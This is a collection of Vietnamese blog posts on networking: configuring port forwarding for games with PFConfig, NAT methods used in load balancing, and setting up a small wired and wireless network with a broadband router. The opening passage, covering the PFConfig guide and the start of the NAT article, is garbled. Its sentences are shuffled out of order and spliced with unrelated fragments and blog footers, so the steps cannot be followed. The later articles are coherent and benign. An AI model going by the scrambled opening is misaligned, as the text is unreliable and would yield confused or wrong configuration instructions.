khá hữu ích cho những dân ghiền Game là có thể chơi Online trên cơ sở Offline.exe. Dung lượng của PFConfig là 2.

Bây giờ mọi công việc của bạn đã hoàn tất.xuất.Bạn chỉ cần chọn ứng dụng. chia sẻ file. Tại phần Router Settings cho bạn chọn thông số IP của Router. Bạn nên chú ý vào dòng sản phẩm trên kết nối của mình để có lựa chọn đúng đắn. Bạn có thể tự động chọn máy chủ của mình thông qua This Computer (Default Option) hoặc chọn một Server khác sau khi đã gán IP thong qua tùy chọn Another Computers on my Network. bạn sẽ thấy hai phần nhỏ và Default Applications và Custom Application. Nhấn Next. Webcam. Thông thường đường truyền FPT thường sử dụng loại Router ZyXel 4 Port hiệu Prestige600. Sau đó nhập tên của ứng dụng vào khung tương ứng. Bạn chỉ việc Share IP này cho người bạn cùng chơi game và để họ thiết lập trong phần TCP/IP là có thể kết nối để cùng chơi game hay chia sẻ ngang hàng.xxx. Bây giờ.xxx: số Port dành cho Game hoặc ứng dụng cần chia sẻ . Một số ít ứng dụng nhỏ dành cho chia sẻ ngang hàng như Chat.. Bạn quay lại khung chính của chương trình. sau đó chọn New. Nhấn Finish để hoàn tất. Đa phần các ứng dụng từ mục Default đều dành cho các Game thủ khi muốn chơi Online và cho một số Game Offline hay và tiêu biểu. Bạn chỉ nên điền User và mật khẩu tương ứng để hoàn tất. Thông thường User và mật khẩu mật định tương ứng là Administrator và 1234 hoặc xem thông số manual trên Router. Nếu ứng dụng bạn sử dụng không có trong danh mục (thường rất ít khi xảy ra). danh mục Router sẽ hiển thị ở khung tương ứng bên phải.. Phần Select Target hiển thị cho bạn chọn dạng máy chủ thông qua IP. bạn sẽ có một IP dành riêng có dạng xxx.xxx. Bạn nhấn Next để qua bước tiếp theo. Nhấn Finish. nhấn chọn Forward this App. Các thông số này thường được PFConfig tự động thiết lập. bạn có thể chọn vào mục Custom Application. Nhập nội dung . sau đó. Trong phần Applications. ở phần Default cho bạn lựa chọn các chương trình cần PFConfig tự động chuyển port cho ứng dụng.

Phần 1: Các yếu tố kỹ thuật cho người dùng cấp cao Nếu như cân bằng tải (Load Balancing) là linh hồn của các trung tâm xử lý dữ liệu lớn hiện nay thì dịch địa chỉ mạng (Network Address Translation . Các Game Offline được nhiều người chơi cũng đều được chương trình hỗ trợ như: FIFA. NAT là kỹ thuật thay đổi các địa chỉ mạng (Network Address) trong một gói tin (packet) để gây ảnh hưởng trong quá trình định hướng đi của packet cho một mục đích cụ thể. Theo xhtt http://www.3c. Need For Speed. Xét mô hình load balancing như sau Chúng ta sẽ xem các kỹ thuật NAT sử dụng trong load balancing như thế nào. Age Of Empires III. ta còn hay gọi là "NAT xuôi". The Lord Of The Rings.Các ứng dụng chia sẻ ngang hàng như Emule..vn/Story/vn/hotrokhachhang/kienthucmang/2008/3/37846 . Battle Realms. Địa chỉ mạng ở đây muốn nói đến địa chỉ IP (Internet Protocol) ở layer 3. Red Alert..com. Kỹ thuật NAT được sử dụng khá phổ biến.NAT) là trái tim của "load balancing". Age Of Empires. ngoài ra còn có thể thay đổi số port ở layer 4 theo mô hình phân lớp OSI. Đây cũng là kiểu được sử dụng mặc định trong load balancing theo cách sau: . NAT.Webcam. NETWORK Nghệ thuật NAT . Bên cạnh đó địa chỉ mạng còn được phân biệt địa chỉ nguồn (source) và địa chỉ đích (destination). hay "NAT vào". NAT theo kiểu này chỉ thay đổi địa chỉ IP đích của gói tin mà không đụng đến các thành phần khác. Rất nhanh và thuận lợi.. Age Of Mythology.html Được đăng bởi haodalat tại 9:22 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Age Of Empires II.. Tùy theo mục đích dùng NAT mà ta thay đổi một số hoặc tất cả các loại địa chỉ trên trên cùng một packet. nhưng khi vận dụng vào Load Balancing ta mới thấy hết sự đa dạng và tài tình như thế nào. StarCraft.cổng TCP (thông thường là 80). Destination NAT Đây là loại hình NAT phổ biến nhất. Sau đó nhấn Finish và thao tác như với mục Default Application.

load balancer thực hiện việc chuyển đổi địa chỉ dest IP từ public sang private để đến được server.10.1..10. Cách hoạt động của nó cũng rất đơn giản: Khi ta liên kết (bind) port 80 của VIP trên load balancer đến port 1000 trên server thật. trong đó có sự hạn chế về số lượng IP public và tính bảo mật). Tại đây packet được un-NAT. Trong trường hợp ngược lại.1.Khi client gửi packet request R tới bộ cân bằng tải (load balancer). . nghĩa là thay lại địa chỉ IP của server 2 (lúc này trở thành source IP) bằng VIP của load balaner. Những lợi ích khi ta thực hiện PAT: .10). đó là kiểu NAT ta xét ở trên.10). khi server bên trong muốn khởi tạo kết nối với bên ngoài Internet. nghĩa là không thể đi ra Internet được.VIP) . Bằng cách không mở những . "NAT ngược". source IP vẫn giữ nguyên (188.20).Bảo mật là ích lợi đầu tiên mà ta thấy ngay.1. Do load balancer đại diện cho tất cả những server thực đằng sau nên IP của load balancer cũng là địa chỉ đại diện. Thao tác này gọi là Destination NAT. Reverse NAT Trong cơ chế load balancing. và địa chỉ này cũng là VIP. trường hợp thứ ba này còn được gọi là "NAT port". . Khi client muốn sử dụng dịch vụ của server bên trong. hay "NAT ra".149. load balancer sẽ thực hiện việc chuyển đổi và đẩy toàn bộ yêu cầu port 80 (dest port) đến port 1000 trên server. R sẽ có dest IP là VIP của load balancer (141. client sẽ chỉ liên hệ với load balancer mà không biết được địa chỉ thật của các server là gì. Load balancer thường được public ra Internet để nhận request cho các server bên trong nên nó thường có một địa chỉ IP public để các client kết nối từ bên ngoài vào. Địa chỉ IP đại diện của load balancer còn được gọi là địa chỉ IP ảo (Virtual IP . packet reply sẽ đi qua lại load balancer. nghĩa là số port TCP/UDP ở trong packet sẽ bị thay đổi (ở đây ta không xét đến các protocol khác cũng có dùng port). các server thật chỉ được cấp địa chỉ IP private (vì nhiều lý do. load balancer phải thực hiện việc chuyển địa chỉ source IP của packet đi ra từ private sang public để có thể lưu thông trên Internet. source IP là IP của client (188.Load balancer sẽ gửi R đến server 2 để xử lý nên nó thực hiện thay dest IP trong R thành IP của server 2 (10. Do cách hoạt động như vậy nên kiểu NAT này còn được gọi là SourceNAT. PAT cũng là một phần tất yếu của load balancing.1.Khi server 2 trả lời. Port-Address Translation (PAT) Hai trường hợp trên ta đã xem xét hai kiểu thay đổi địa chỉ IP.3).Nhờ có dest IP là IP của server 2 nên R sẽ được định tuyến tiếp đến server 2 xử lý.65.

Port nguồn (source port) Lưu ý source port ở đây là port của client. Tùy theo cách thiết kế ứng dụng. load balancer có thể gửi lưu thông đến port phù hợp dựa trên domain trong URL của mỗi HTTP request. chẳng hạn port 80 ở ví dụ trên. Full NAT Như vậy ta đã xét kỹ thuật NAT thay đổi lần lượt địa chỉ đích. chẳng hạn www. Vậy thì bằng cách nào để buộc server phải trả lời thông qua load balancer để . Kết hợp các kiểu thay đổi này lại. Load balancer sẽ phân bổ lưu thông không chỉ cho các server mà còn giữa các port trên từng server. ta có thể chạy một Web server trên port 4000. rồi thay đổi port khi cân bằng tải. do đó đương nhiên packet reply mang "biển số tỉnh" sẽ chẳng bao giờ đến được client. và liên kết port 80 của VIP trên load balancer đến port 4000 của server thật. vì nó không được mở.xyz. còn dest port là port được request trên server. địa chỉ nguồn. Web server của ta có thể chạy mỗi domain trên một port khác nhau. ta có thể gây khó khăn hơn cho việc tấn công ác ý. Kiểu NAT này có tên gọi như vậy vì nó bao gồm các thay đổi sau đây trên gói tin request: .Khả năng quản trị (manageability) chẳng hạn khi host nhiều website trên một bộ các server thật. Chẳng hạn ta có thể chạy máy chủ web IIS trên các port 80. www. Sau đó chỉ cần liên kết port 80 của VIP với mỗi port chạy IIS của server thật.Khả năng co dãn (scalability) PAT cho phép ta chạy cùng một ứng dụng trên nhiều port. ta có một kiểu NAT khác phức tạp hơn là Full NAT. Lúc này load balancer sẽ nhận tất cả các request đến port 80 ở cùng một VIP. 81.com trên port 82.abc.Địa chỉ IP nguồn (source IP) .Địa chỉ IP đích (dest IP) . packet từ server reply có thể bỏ qua load balancer mà đi thẳng đến client ở ngoài Internet. Mỗi sự thay đổi là một loại hình NAT có ứng dụng trong từng trường hợp riêng. Xem mô hình như sau: Mô hình load balancing này khác với mô hình trong những kiểu NAT trên ở chỗ.com trên port 81. Vấn đề ở chỗ địa chỉ IP của server vẫn là private IP. Lúc bấy giờ.cổng mặc định trên server. . . Chẳng hạn. ta có thể chỉ cần dùng một VIP để đại diện cho tất cả các domain của các website. 82 của mỗi server thật. kẻ tấn công không thể khai thác trực tiếp lên port 80 của server thật được. có thể việc chạy nhiều bản sao của nó sẽ làm tăng hiệu suất phục vụ lên.

Source IP này có thể giống hoặc khác VIP.được NAT địa chỉ IP đi ra Internet? Cách đơn giản nhất là ta có thể khai báo cho load balancer là default gateway của các server. source port cũng được gửi trả về theo packet reply. Như vậy tương tự như proxy.1. . Enhanced NAT Những kỹ thuật NAT vừa trình bày ở trên đều xoay quanh việc thay đổi địa chỉ IP. lúc này server thật sẽ xem load balancer như là client yêu cầu mình. source port của client như cũ. Một số sản phẩm load balancing còn cung cấp chức năng log và report source IP của các request. thì load balancer thực hiện lưu lại những thông tin của client trong session đó bằng cách đổi source port trong cùng packet (lúc này đang là source port của client). Khi được thiết lập để thực hiện Full NAT. Khái niệm enhanced NAT nói đến kiểu NAT phức tạp được BLer thực hiện với những hiểu biết theo từng protocol cụ thể để làm cho những protocol đó hoạt động được với việc cân bằng tải. rồi thay dest IP (lúc này đang là VIP) thành IP của server (10. gọi là một session. Như vậy source port được thay đổi ở chỗ nào? Mỗi lần thay đổi một source IP của client thành source IP của load balancer. Ưu điểm của kiểu NAT này là cho phép bạn thực hiện việc thay đổi địa chỉ thông qua load balancer trên mọi topology mạng. Điều này đòi hỏi load balancer phải hiểu biết theo từng protocol cụ thể. cũng cần phải được thay đổi cùng với packet header. trước khi gửi đến server 2. Nhược điểm là không lấy được các thông tin về IP.1. Source port lúc này có ý nghĩa như là một session ID không hơn không kém.10. Nhưng cách này yêu cầu load balancer phải ở cùng subnet với các server (cùng Layer 2 broadcast domain).100) để gửi đi. Những ứng dụng như Web có sử dụng thông tin từ source IP của client thì không nên dùng mô hình này. Khi server reply về cho load balancer. Dựa vào source port này. Vì thế server sẽ reply lại cho load balancer và load balancer sẽ đổi lại dest IP thành IP của client thực sự (188. Tuy nhiên có những protocol đặc biệt chứa thông tin địa chỉ hay port nhúng trong packet payload. port từ phía client. load balancer xác định được session của client trong bảng lưu để thay lại source IP.20). load balancer sẽ thay source IP của tất cả các request packet bằng một địa chỉ được khai báo trên load balancer. tùy vào từng sản phẩm load balancer. xem như là source IP. và không quan tâm đến client thực sự nữa.10. Nếu không thể nằm cùng subnet thì sao? Đây là chỗ Full NAT được sử dụng. cũng như port trong packet header.

Sự thoả thuận gồm có IP của server và số port của server mà client sẽ gửi dữ liệu đến trên kết nối dữ liệu. Nhưng đồng thời load balancer cũng phải xem các thông tin thoả thuận và thay đổi mọi thông tin về địa chỉ IP hay port mà server và client trao đổi sao cho client sẽ gửi dữ liệu đến VIP public chứ không phải IP private của server (những thông tin này nằm trong payload của packet). Nhưng với địa chỉ IP private.Real Time Streaming Protocol). các server làm sao trả lời trực tiếp qua Internet đến client được? Chỉ với một chút phù phép xoay quanh các địa chỉ IP là vấn . Điều này làm cho việc NAT trở nên nhẹ nhàng hơn. Client và server sẽ thoả thuận các điều khoản cho kênh điều khiển. load balancer sẽ thực hiện Destination NAT cho kết nối điều khiển. Tuy nhiên. nhiều doanh nghiệp lại có những chính sách bảo mật trên tường lửa làm cho những kết nối dữ liệu trên nền tảng UDP có thể không thành công.Trong số các protocol đặc biệt đó. Hơn nữa. thông dụng nhất là các protocol streaming media (ví dụ RTSP . nâng cao hiệu suất. một kết nối điều khiển xây dựng trên TCP và một kết nối dữ liệu dựa trên UDP. Direct Server Return (DSR) Lại xét mô hình cân bằng tải thứ hai. vì trong trường hợp năng lực xử lý của BLer bị giới hạn. Nếu các server có địa chỉ IP private. Với mô hình này ta đã xem hai cách xử lý cùng với các ưu nhược điểm của chúng là gán BLer làm default gateway hay dùng kỹ thuật Full NAT để ép các reply của server phải đi qua load balancer. Đây cũng là các protocol sử dụng cân bằng tải phổ biến nhất. Nhưng trường hợp ta muốn server trả lời trực tiếp cho client mà không thông qua BLer thì sao? Đây không phải là câu hỏi vô lý. nghĩa là toàn bộ dòng dữ liệu sẽ được gửi đi bằng kết nối được thiết lập bởi giao tiếp HTTP. Do đó nhiều hệ thống streaming media cho phép stream trên nền HTTP. client khởi tạo một kênh điều khiển đến một well-known port trên server. Các protocol streaming thường gồm có hai kết nối. Để khởi đầu. vì chúng cực kì ngốn tài nguyên mạng và tính toán khi phải phục vụ đồng thời cho hàng trăm đến hàng ngàn người sử dụng. tránh tắc nghẽn. thì việc tách dòng lưu thông reply đi trực tiếp mà không qua BLer sẽ giúp load balancer tập trung vào xử lý các lưu thông request hiệu quả hơn. dest port được chọn trong quá trình thoả thuận lại không biết trước được nên BLer phải xử lý request ngay cả khi port chưa được liên kết đến bất kỳ server nào.

Tuy nhiên. NAT trong load balancing rất đa dạng. Kết luận NAT tạo nên nền tảng của load balancing.149. streaming media. hệ thống vẫn nhận request đến IP của loop back interface và trả lời như là các interface khác. . Người ta cũng cân nhắc DSR khi triển khai load balancing trên mô hình mạng như mô hình 2. DSR rất hữu ích cho những ứng dụng tốn băng thông như FTP. thì ta có thể dùng DSR thay vì NAT. . Vấn đề còn lại là làm sao để khi server nhận request packet từ load balancer chuyển đến sẽ không từ chối. load balancer chỉ đổi dest MAC thành MAC của server để packet có thể đến được server. Càng đi sâu. Load balancing dùng cách này vì lợi dụng những tính chất thú vị sau đây của loopback interface: . Nắm vững các kỹ thuật NAT giúp ta có thể triển khai các hệ thống cân bằng tải một cách an toàn và hiệu quả nhất.65. vì dest IP không phải là IP của server. những đối tượng luận lý để giải quyết các vấn đề vật lý thú vị như thế nào. không bắt buộc phải bắt đầu bằng 127. Ta có thể thiết lập một địa chỉ IP public cho loop back interface trên Linux như sau: ifconfig lo 141. mà là VIP! Một cách đơn giản.0 up Như vậy.Vì loopback interface không phải là một thiết bị thật. Như vậy giới hạn của DSR là load balancer và các server phải nằm cùng subnet. khi mà kích thước packet reply là rất lớn so với kích thước packet request. nên hệ thống sẽ không trả lời cho các request ARP.255.255. nó không có địa chỉ MAC.Có thể gán bất kỳ địa chỉ IP nào. Chẳng hạn những giao thức streaming media như trong phần Enhanced có đề cập.đề sẽ được giải quyết: khi được thiết lập để thực hiện DSR. bằng một chút thủ thuật với các địa chỉ. server thật không cần địa chỉ IP public vẫn có thể nhận request và trả lời trực tiếp cho client. ta cấu hình để VIP là địa chỉ của loopback interface trên mỗi server. Kỹ thuật này cũng được ứng dụng cho những protocol đòi hỏi phức tạp khi thực hiện NAT hay không được load balancer hỗ trợ. ta càng thấy cái hay trong việc xử lý thông tin của các packet.3 netmask 255. khi mà lưu thông reply từ server không đảm bảo là sẽ đi qua lại load balancer. Do đó sẽ không có hệ thống bên ngoài nào biết được địa chỉ IP của loop back interface. tùy thuộc vào từng tình huống mà ta áp dụng. load balancer không chuyển dest IP thành IP của server mà vẫn giữ nguyên là VIP (public IP).

cho phép bạn có thể kết nối các máy tính trực tiếp trên router. Hình 1: Một router băng thông rộng điển hình Vậy router băng thông rộng là gì? Mặc cho tên của nó là gì đi nữa thì nó cũng là một thiết bị tích hợp một số tính năng: • Broadband router – Bộ định tuyến băng thông rộng: Tự động chia sẻ kết nối Internet băng thông rộng giữa các máy tính đã kết nối với nó. . Do chúng làm việc như một tường lửa bằng phần cứng nên nó cũng là cách an toàn nhất để kết nối với Internet ngày nay.com. Bạn cũng có thể mở rộng số cổng bằng cách cài đặt thêm switch mở rộng với router. Với một mạng nhỏ chỉ kết nối đến 4 máy tính thì có lẽ bạn cũng hài lòng và không cần bất kỳ phần cứng mở rộng nào nữa. NAT. bạn hoàn toàn có thể tự động chia sẻ kết nối Internet băng thông rộng với nhiều máy tính khác trong mạng. chúng tôi sẽ giới thiệu cách thiết lập một mạng như vậy bằng router băng thông rộng.3c. • DHCP server: Tính năng này tập trung các tùy chọn cấu hình mạng trên router. NETWORK Thiết kế một mạng nhỏ bằng router băng thông rộng (Phần 1) Các router băng thông rộng chính là cách đơn giản nhất giúp bạn thiết kế một mạng cho riêng mình. nó cũng bảo vệ các thư mục và máy in được chia sẻ trên mạng nội bộ không bị truy cập bởi máy tính bên ngoài nhà hoặc văn phòng.Theo xhtt http://www. • Hardware firewall – Tường lửa phần cứng: Nhằm ngăn chặn một số tấn công vào máy tính của bạn.html Được đăng bởi haodalat tại 9:22 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Bạn cũng có thể cấu hình nó để hạn chế sự truy cập dựa trên một số tiêu chuẩn (ví dụ như thời gian trong ngày – bạn có thể muốn các nhân viên của mình chỉ truy cập Internet trong thời gian buổi trưa hoặc sau khi làm việc). cũng như các file và máy in.vn/Story/vn/hotrokhachhang/kienthucmang/2008/3/37715 . chính vì vậy bạn không cần thực hiện bất kỳ kiểu cấu hình nào (nên thiết lập chúng với cấu hình tự động) trên các máy tính khách. Việc cài đặt cũng thực sự rất đơn giản và bạn có thể xây dựng một mạng cho mình mà chỉ tốn một chút thời gian. Trong hướng dẫn này. Đơn giản. Sử dụng router này. • Switch: Hầu hết các router băng thông rộng đều tích hợp một switch (thông thường là 4-port switch).

song song hoặc USB. Tuy vậy. Hình 2: Cổng song song trên một router với tính năng print server Cài đặt Tất cả những gì bạn cần để thiết lập mạng của mình bằng router băng thông rộng là phải có một router (điều này hết sức hiển nhiên). Nhưng đây là một giải pháp tuyệt vời đối với gia đình hoặc các văn phòng nhỏ. vì nếu máy in được kết nối với một máy tính của ai đó không có trong văn phòng. Nhiều ưu điểm và tiện lợi như vây song tính năng này cũng có một số rủi ro về góc độ bảo mật và các tùy chọn cấu hình ưu việt cho sử dụng an toàn. Đây thực sự là điều phiền phức. chỉ cần bật chúng và bạn sẽ online. • Wireless: Các router băng thông rộng gần đây đều có tính năng không dây. • Print server: Một số router có khả năng cung cấp một cổng song song hoặc một cổng USB để bạn có thể kết nối máy in trực tiếp với router. Hình 3: Cáp mạng điển hình Modem băng thông rộng của bạn (cáp hoặc ADSL) sẽ được kết nối đến cổng có nhãn “WAN” trên router. tính năng này cho phép bạn có thể kết nối các máy tính mà không cần chạy dây. còn các máy tính sẽ được kết nối đến các cổng khác. Nếu bạn cần chia sẻ một máy tin với nhiều máy tính khác và router đang có lại không có tính năng này thì máy tính có cắm máy in đó phải luôn được bật để có thể in.chúng cho phép bạn kết nối bất kỳ máy tính nào đến router và nó sẽ có khả năng truy cập ngay tức khắc vào Internet cũng như đến các thư mục và máy in chia sẻ nằm trong mạng mà không cần bất kỳ cấu hình nào khác. Nếu muốn có thêm nhiều cổng thì bạn cần phải mua một switch bên ngoài và kết nối nó đến một trong các . Tuy nhiên bằng cách sử dụng router băng thông rộng với tính năng máy chủ in ấn này bạn hoàn toàn có thể tiết kiệm được rất nhiều tiền vì không cần bắt buộc phải bật máy tính như trường hợp trên. Nếu chọn mua một router với tính năng này. thông thường thì chúng có nhãn “LAN”. lúc này máy tính lại bị tắt và người sở hữu máy tính này đã đặt mật khẩu cho máy. Đây là điều hết sức thú vị vì bất kỳ máy tính nào trong mạng của bạn cũng đều có thể sử dụng máy in mà không cần phải cấu hình đặc biệt nào. một cáp mạng pin-to-pin cho mỗi máy tính mà bạn muốn kết nối mạng (xem hình bên dưới). giá thành của một router ngày nay cũng thực sự dẻ (cỡ khoảng 35 đến 50 USD. giá thành còn phụ thuộc vào nhiều tính năng mở rộng khác). chúng cần đến card mạng không dây và việc cài đặt card không dây đối với mỗi máy tính trong mạng của bạn có thể khá tốn kém. nơi có một hoặc hai laptop có khả năng truy cập mạng không dây. bạn cần mua kiểu kết nối tương tự với máy in của mình.

Lúc này bạn kích đúp vào Internet Protocol (TCP/IP) và hình 10 dưới đây sẽ xuất hiện. Bạn cần kết nối đầu kia của cáp đến card LAN (NIC) trên mỗi máy tính. màn hình thể hiện trong hình 7 sẽ xuất hiện. sau đó bật một trong các máy tính để truy cập vào panel cấu hình router.cổng “LAN” này. Hình 7: Các kết nối mạng Trên màn hình hiển thị. Màn hình như trong hình 9 sẽ xuất hiện. Hình 5: Ví dụ về cổng LAN trên một máy tính Hình 6: Ví dụ về cổng LAN trên laptop Bạn không cần phải lo lắng về việc cắm cáp mạng sai giắc: giắc cắm mạng RJ-45 chỉ cắm vừa duy nhất với card mạng trên máy tính. Như những gì có thể quan sát được trên hình. Ngày nay. nếu bạn sở hữu một máy tính cũ không có tính năng này thì cần phải mua và cài đặt một card mạng (thường là 10/100 Network Card hoặc NIC. Nút reset cũng rất hữu dụng trong một số tình huống khắc phục sự cố. bạn có thể bật modem băng thông rộngvà router. nhưng bạn cũng luôn nên kiểm tra xem các máy tính đã được cấu hình đúng chưa. Sau khi đã kết nối xong mọi thứ. . Hình 4: Cách kết nối router băng thông rộng Nút Uplink phải được vô hiệu hóa. Lúc này bạn kích đúp vào card mạng đã được kết nối với router. kiểu cáp này có tên gọi là cáp đấu chéo (tham khảo kiểu cáp này trong bài trước). Đây là cấu hình Windows mặc định. Network Interface Card) thêm vào đó. Cấu hình các máy tính Tất cả các máy tính trên mạng phải được cấu hình để có thể nhận cấu hình mạng tự động từ một DHCP server (chính là router của bạn). Bạn cần thực hiện một số cấu hình cơ bản – ví dụ như chọn kiểu kết nối mà bạn có. cáp hoặc ADSL. kích vào Start > Settings > Network Connections. Để cấu hình máy tính. tất cả các máy tính đều được tích hợp cổng LAN trên bo mạch chủ. Nút này được dùng khi bạn sử dụng kiểu cáp khác. bạn cần kết nối router với cả nguồn cấp điện. bạn kích vào Properties.

Hay tùy chọn này để bảo đảm cho máy tính yêu cầu router sẽ sử dụng các cấu hình đó.3c. Bạn cần kích vào Properties. Vì vậy tất cả những gì cần thực hiện trong bước này là kích vào biểu tượng mạng không dây có sẵn trên task bar hoặc kích đúp vào kết nối không dây .com. các máy tính đã được cấu hình một cách đúng đắn chỉ cần cấu hình router chính xác và bảo mật nữa là bạn có một mạng an toàn. Hình 9: Các thuộc tính của card mạng Hình 10: Cấu hình TCP/IP Trên màn hình này bạn cần chọn “Obtain an IP address automatically” và “Obtain DNS server address automatically”.Hình 8: Trạng thái của kết nối. Theo Hardwaresecrets http://www.html Được đăng bởi haodalat tại 9:19 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Lúc này. NETWORK Xây dựng mạng không dây bằng router băng thông rộng . Mời bạn đón đọc phần sau để xem xét về cách cấu hình router cho phù hợp. Bước tiếp theo là cho phép các máy tính sử dụng kết nối không dây có thể truy cập mạng và truy cập Internet. Đừng quên kích OK để cập nhật sự thay đổi. Mạng không dây của bạn sẽ được liệt kê trong danh sách các mạng hiện có trên các máy tính có card mạng không dây bên trong phạm vi router băng thông rộng.Phần 3: Kết nối các máy tính không dây vào mạng Thông qua hai phần trước của loạt bài này thì lúc này tất cả các máy tính đã được kết nối trực tiếp vào router bằng cáp thông thường đều có thể truy cập Internet.vn/Story/vn/hotrokhachhang/kienthucmang/2008/4/38305 . Kết nối các máy tính không dây vào mạng Thông qua hai phần trước của loạt bài này thì lúc này tất cả các máy tính đã được kết nối trực tiếp vào router bằng cáp thông thường đều có thể truy cập Internet.

xem hình 21. Hình 19: Nhập khóa mã hóa (password) để truy cập vào mạng Sau khi kích OK. trạng thái mạng của bạn sẽ được hiển thị với dòng chữ “Acquiring Network Address” sau đó nó sẽ thay đổi thành “Connected”. Những người . Bạn cần phải nhập lại nó ở đây. Đừng e ngại vấn đề riêng tư vì tính năng mã hóa đã được kích hoạt và không có ai ở bên ngoài mạng có thể truy cập để lấy mất dữ liệu của bạn. chúng tôi sẽ tiếp tục sử dụng router D-Link DI-524 ở trên. Như những gì thể hiện trong hình 18. Đến đây bạn có thể đọc thêm bài hướng dẫn của chúng tôi về cách chia sẻ các thư mục và máy in trong mạng để biết được cách chia sẻ tài nguyên dùng chung trong mạng. Các cấu hình nâng cao Mỗi router đều có một số các cấu hình nâng cao khác nhau. Windows sẽ hỏi bạn về khóa mã hóa (chuỗi 26 ký tự mà bạn đã ghi ra). xem trong hình 19. Hình 18: Các mạng không dây có sẵn Sau khi kích đúp vào mạng của mình. xem trong hình 20. chúng ta có một số mạng (từ mạng nhà hàng xóm hay mạng ngoài…. Hình 21: Laptop đã kết nối vào mạng không dây Mạng không dây lúc này hoạt động 100% và được bảo vệ. Vì vậy không thể giới thiệu được toàn bộ các tùy chọn có trong tất cả router hiện có trên thị trường. Chính vì vậy chúng tôi sẽ chỉ liệt kê một trong những tùy chọn thú vị nhất có trong phần lớn các router băng thông rộng không dây có trên thị trường với một số ví dụ về trường hợp sử dụng. Tất cả những gì cần thực hiện ở đây là kích đúp vào mạng cần kết nối (trong ví dụ này là MyHome). như vậy việc mã hóa là một vấn đề rất quan trọng). Trong các ví dụ tiếp theo này. Hình 20: Đã kết nối được vào mạng Nếu bạn đưa chuột qua biểu tượng không dây trong task bar của Windows thì sẽ thấy chữ “Connected” và cường độ tín hiệu. • Khóa truy cập Internet theo thời gian và ngày trong tuần: Đây là một cấu hình rất thú vị cho cả những người dùng ở nhà và văn phòng.trong Network Connections (Start > Control Panel) để xem danh sách các mạng không dây có trong đó.

chọn “IP Filters”. Sau đó cần cấu hình địa chỉ IP cho các máy tính muốn khóa (nhập vào * sẽ khóa tất cả các máy tính) và dải các cổng (nghĩa là các kiểu dịch vụ như web. đặc biệt là các game chơi trực tuyến. email. các chương trình chia sẻ file ngang hàng và thoại IP sử dụng các cổng non-standard sẽ không làm việc vì router sẽ khóa chúng. tính năng này được cấu hình ở Advanced > Application. Hình 22: Khóa truy cập Internet theo thời gian và ngày trong tuần • Khóa truy cập với một số website nào đó: Bạn có thể khóa không cho trẻ nhỏ trong nhà hay các nhân viên có thể truy cập vào một số website nào đó. Trong ví dụ. Thêm vào nữa. Bạn cần biết các cổng đã được sử dụng bởi các giao thức TCP và UDP để từ đó cấu hình chúng. chúng tôi đã quyết định sẽ giới thiệu cho các bạn về vấn đề này trong bài báo sau mong các bạn đón đọc. Để các bạn có thêm những kiến thức về vấn đề tạo các chương trình ngang hàng làm việc trên mạng bằng router băng thông rộng. FTP. Trên router của ví dụ. cấu hình này được thực hiện bằng cách kích vào Advanced > Filters. điều này được thực hiện trên cùng một màn hình ở trên nhưng bạn phải chọn “domain blocking”. nghĩa là cho phép người dùng chỉ truy cập vào các website đã cấu hình và khóa tất cả các website khác. Hình 23: Cho phép các chương trình có thể truy cập đến các cổng nonstandard • Quản lý từ xa: Bạn có thể quản lý router để cho phép người bên ngoài mạng có thể truy cập vào panel điều khiển của router. router của ví dụ này còn có tính năng khóa các website nào đó dựa trên từ khóa (ví dụ những từ như “sex” chẳng hạn). Sau đó chọn “From” và thiết lập ngày trong tuần và khoảng giờ Internet sẽ bị vô hiệu hóa với các máy tính mà chúng ta đã liệt kê. Bạn cũng có thể cấu hình ngược lại với những gì chúng tôi vừa nói. Một số chương trình. nhập * cho tất cả các dịch vụ). Các thông tin này được liệt kê trong hướng dẫn sử dụng của mỗi game hoặc tài liệu chương trình. • Cấu hình các game trực tuyến và ứng dụng có thể truy cập thông qua các cổng không mặc định (non-standard): tường lửa của router sẽ khóa bất kỳ một kết nối nào đến các cổng non-standard. Tùy chọn này nên cần phải . Tính năng này cũng được cấu hình trên cùng màn hình trên nhưng chọn “URL blocking”. Đối với người dùng văn phòng có thể muốn khóa không cho các nhân viên của họ sử dụng Internet trong một số thời điểm nào đó với nhiều lý do.dùng ở nhà có thể cho phép trẻ nhỏ trong nhà họ chỉ truy cập Internet trong khoảng thời gian nào đó (ví dụ như từ 4 đến 6 giờ chiều chẳng hạn) và truy cập Internet thoải mãi trong cả hai ngày nghỉ cuối tuần. xem trong hình 23. Trong router của của ví dụ. Những gì bạn cần thực hiện ở đây là “mở” các cổng đã được sử dụng trên từng chương trình này.

Đây là một trong những thứ tuyệt vời nhất là trong trường hợp bạn có các máy tính nằm trong các địa điểm khó có thể thiết lập hệ thống cáp mạng chạy dây hoặc trong trường hợp bạn muốn tự do truy cập mạng của mình và Internet bằng laptop của bạn ở bất cứ chỗ nào bên trong văn phòng hoặc nhà bạn: bạn có thể mang laptop từ giường ngủ hoặc văn phòng vào phòng khách mà nó vẫn liên tục được kết nối với mạng. Để tăng tính bảo mật. Theo Hardwaresecrets Được đăng bởi haodalat tại 9:14 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. dưới trường Remote Management. tính năng này được cấu hình ở Tools > Admin. vì vậy không ai khác có thể truy cập vào panel điều khiển. bạn có thể cho phép quản lý từ xa chỉ với một địa chỉ IP nào đó. chính vì vậy nó có thể cho phép bạn kết nối các máy tính mà không cần đến cáp mạng. Thiết bị này sẽ kết nối tất cả các máy tính trong mạng của bạn và cũng tự động chia sẻ kết nối Internet băng thông rộng. Hình 24: Quản lý từ xa Ngoài ra còn một số tính năng khác có thể rất thú vị với tình huống của riêng mỗi người. Bạn có thể chia sẻ file và máy in giữa các máy tính với nhau.vô hiệu hóa nhưng cũng có một số tình huống sử dụng tính năng này cũng rất thú vị: nếu bạn là một người chịu trách nhiệm về cấu hình mạng và muốn truy cập vào router từ bên ngoài mạng. Một số kỹ thuật viên sử dụng tính năng này để cấu hình mạng máy khách của họ mà không cần ngồi tại văn phòng. Mạng không dây có thể thiết lập tại nhà hoặc văn phòng của bạn. Thiết bị này có thể có tính năng không dây. Có thể bạn sẽ tìm thấy những tùy chọn thú vị và hữu dụng cho tình huống riêng của mình. từ đó bạn có thể chia sẻ file. . Nếu không sử dụng tính năng này thì bạn nên vô hiệu hóa nó để tránh các hacker có thể truy cập vào panel điều khiển từ router. chúng tôi chỉ liệt kê những thứ chung nhất mà một người dùng thông thường 